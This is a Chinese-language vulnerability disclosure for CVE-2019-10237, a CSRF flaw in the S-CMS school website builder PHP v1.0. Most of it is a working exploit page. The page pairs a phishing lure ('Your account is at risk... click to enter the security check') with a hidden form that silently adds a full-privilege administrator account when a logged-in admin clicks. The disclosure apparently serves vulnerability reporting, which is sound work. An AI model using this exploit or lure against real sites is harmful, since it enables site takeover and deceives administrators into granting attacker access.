CVE中文申请站

一、漏洞摘要

漏洞名称: S-CMS学校建站系统PHP版V1.0存在CSRF漏洞
上报日期: 2019-03-22
漏洞发现者: Liu Ze Yan , Wang Chi Heng ,Yu Fen , Xie Chao Qi
产品首页: https://www.s-cms.cn/download.html?code=php
软件链接: https://www.s-cms.cn/download.html?code=php
版本: PHP v1.0
CVE编号: CVE-2019-10237


二、漏洞概述

正常情况下,顶级管理员在登录后,可以进入到【账号管理】中,进行添加管理员
1.png
2.png
上面是正常的界面管理员添加界面。填写好相关数据后,管理员正常进行添加。然后我们看看抓取到的数据。
3.png
下图为顶级管理员添加的请求包:
可以看到,请求头中记录了关于URL,请求方法,以及表单值等重要的信息,并且是明文显示。
4.png
5.png

这就给攻击者制造了CSRF欺骗的条件,我们可以根据根据这些值进行html页面伪造,并且诱骗网站管理员进行点击,从而达到添加属于新管理员的目的

三、利用代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Your account is at risk of being stolen.  Please change your password as soon as possible.</title>
</head>
  <body style="background-color:PowderBlue;">
               <h1>Your account is at risk of being stolen. </h1>
               <p style="font-family:verdana;color:red">Please change your password as soon as possible.</p>
               <p style="font-family:times;color:green">This product provides a key maintenance system.</p>

               <p style="font-size:30px">Please click the button below to check account security.</p>             
<form action="http://192.168.43.89/4.edu.php/admin/ajax.php?type=admin&action=add&lang=0" method="POST" id="transfer" name="transfer">
       <input type="hidden" name="A_login" value="admin2">
      <input type="hidden" name="A_pwd" value="123456">
      <input type="hidden" name="A_type" value="admin">
      <input type="hidden" name="A_a0" value="1">
             <input type="hidden" name="A_a1" value="1">
             <input type="hidden" name="A_a2" value="1">
             <input type="hidden" name="A_a3" value="1">
             <input type="hidden" name="A_a4" value="1">
             <input type="hidden" name="A_a5" value="1">
             <input type="hidden" name="A_a6" value="1">
             <input type="hidden" name="A_a8" value="1">
             <input type="hidden" name="A_a10" value="1">
             <input type="hidden" name="A_a7" value="1">
             <input type="hidden" name="A_a9" value="1">
             <input type="hidden" name="A_a11" value="1">
             <input type="hidden" name="A_textauth[]" value="13">
             <input type="hidden" name="A_textauth[]" value="13">
             <input type="hidden" name="A_textauth[]" value="14">
             <input type="hidden" name="A_textauth[]" value="2">
             <input type="hidden" name="A_textauth[]" value="1">
             <input type="hidden" name="A_textauth[]" value="all">
             <input type="hidden" name="A_newsauth[]" value="7">
             <input type="hidden" name="A_newsauth[]" value="1">
             <input type="hidden" name="A_newsauth[]" value="108">
             <input type="hidden" name="A_newsauth[]" value="104">
             <input type="hidden" name="A_newsauth[]" value="113">
             <input type="hidden" name="A_newsauth[]" value="112">
             <input type="hidden" name="A_newsauth[]" value="109">
             <input type="hidden" name="A_newsauth[]" value="106">
             <input type="hidden" name="A_newsauth[]" value="105">
             <input type="hidden" name="A_newsauth[]" value="110">
             <input type="hidden" name="A_newsauth[]" value="all">
             <input type="hidden" name="A_productauth[]" value="8">
             <input type="hidden" name="A_productauth[]" value="7">
             <input type="hidden" name="A_productauth[]" value="4">
             <input type="hidden" name="A_productauth[]" value="3">
             <input type="hidden" name="A_productauth[]" value="2">
             <input type="hidden" name="A_productauth[]" value="all">
             <input type="hidden" name="A_formauth[]" value="9">
             <input type="hidden" name="A_formauth[]" value="8">
             <input type="hidden" name="A_formauth[]" value="7">
             <input type="hidden" name="A_formauth[]" value="all">
             <input type="hidden" name="A_bbsauth[]" value="1">
             <input type="hidden" name="A_bbsauth[]" value="all">
<button type="submit" value="Submit">Click to enter the security check</button>
      </form>
  </body>
</html>

这是构造好的页面效果
6.png
已经登录的管理员点击按钮后就会触发添加账户和修改账户权限的操作。
7.png
后台可以看到已经被添加了一个admin账户并且拥有了所有权限
8.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/172/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10237
exploit-db:发布中

标签: CSRF, s-cms